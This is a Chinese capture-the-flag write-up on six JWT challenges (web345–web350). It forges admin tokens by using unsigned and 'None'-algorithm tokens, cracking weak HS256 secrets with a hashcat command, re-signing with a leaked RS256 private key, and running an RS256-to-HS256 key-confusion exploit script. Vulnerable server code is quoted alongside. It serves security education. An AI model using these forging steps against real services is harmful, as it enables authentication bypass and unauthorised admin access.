目录

传统token与JWT方式的区别:

<1> web345(None 无签名认证)

<2> web346(None算法绕过签名)

<3> web347(弱口令密钥)

<4> web348(爆破)

<5> web349(公钥私钥泄露)

<6> web350(密钥混淆攻击 RS256=>HS256)

传统token与JWT方式的区别:

传统token方式:

用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。

jwt方式:

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法

<1> web345(None 无签名认证)

进入题目:where is flag? 

查看源码: 得到:

        抓个包看Cookie jwt decode之后得知 alg为None算法,无签名认证,我们放到JWT.io里构造JWT

         因为这里没用None算法签名,因此我们先改成HS256 更改sub为admin之后取签名 . 及之前部分,放到cookie中发包 请求/admin/

<2> web346(None算法绕过签名)

和上一道题一样,需要admin身份访问/admin/

不同于上一题,"alg":"HS256" 表示这道题为:HS256加密作签名的JWT

不过,JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的

 我们修改alg为:"None", none也可以 然后修改sub为 admin 去掉后边签名部分(保留最后的 .)

<3> web347(弱口令密钥)

这一关是 HS256加密签名,无法None算法绕过,但是密钥是弱口令

这里我们可以 c-jwt-cracker来爆破一下  hashcat也可以 其中一个爆不出来的时候就可以用另一个

hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o jwt.secrets.list

密钥为 123456

到JWT.io 网站上填上密钥123456  修改sub为admin

 拿构造好的JWT 放入cookie中,发包请求/admin/ 得到flag

<4> web348(爆破)

同web347 爆破密钥 hashcat最终爆出来 aaab

 去 JWT.io 利用密钥 更改sub为admin之后再次Sign 放到cookie中 发包访问/admin/ 得到flag

<5> web349(公钥私钥泄露)

 APP.js中得到一段js代码

/* GET home page. */

router.get('/', function(req, res, next) {

res.type('html');

var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');

var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);

res.end('where is flag?');

});

router.post('/',function(req,res,next){

var flag="flag_here";

res.type('html');

var auth = req.cookies.auth;

var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key

jwt.verify(auth, cert, function(err, decoded) {

if(decoded.user==='admin'){

res.end(flag);

}else{

res.end('you are not admin');

}

});

});

公钥私钥泄露,访问/private.key /public.key 得到公钥密钥

服务器利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以

运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)

const jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('private.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });

console.log(token)

修改jwt后post方式访问 就可以得到flag 或者python代码

import jwt

public = open('private.key', 'r').read()

payload={"user":"admin"}

print(jwt.encode(payload, key=public, algorithm='RS256'))

<6> web350(密钥混淆攻击 RS256=>HS256)

router.get('/', function(req, res, next) {

res.type('html');

var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');

var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);

res.end('where is flag?');

});

router.post('/',function(req,res,next){

var flag="flag_here";

res.type('html');

var auth = req.cookies.auth;

var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key

jwt.verify(auth, cert,function(err, decoded) {

if(decoded.user==='admin'){

res.end(flag);

}else{

res.end('you are not admin'+err);

}

});

});

下载下来题目源码,得到public.key

这里我们可以利用:将RS256算法改为HS256(非对称密码算法=>对称密码算法)

绕过服务端签名检测,从而构造JWT

解释:   

        HS256算法使用密钥为所有消息进行签名和验证。

        而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

        由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

        这样的话,后端代码使用RSA公钥+HS256算法进行签名验证

exp如下:

const jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

执行得到 构造好的JWT,放入cookie中POST发包,得到flag

(不知道为什么vscode执行会报没有模块,cmd下执行却没什么事)

精彩文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: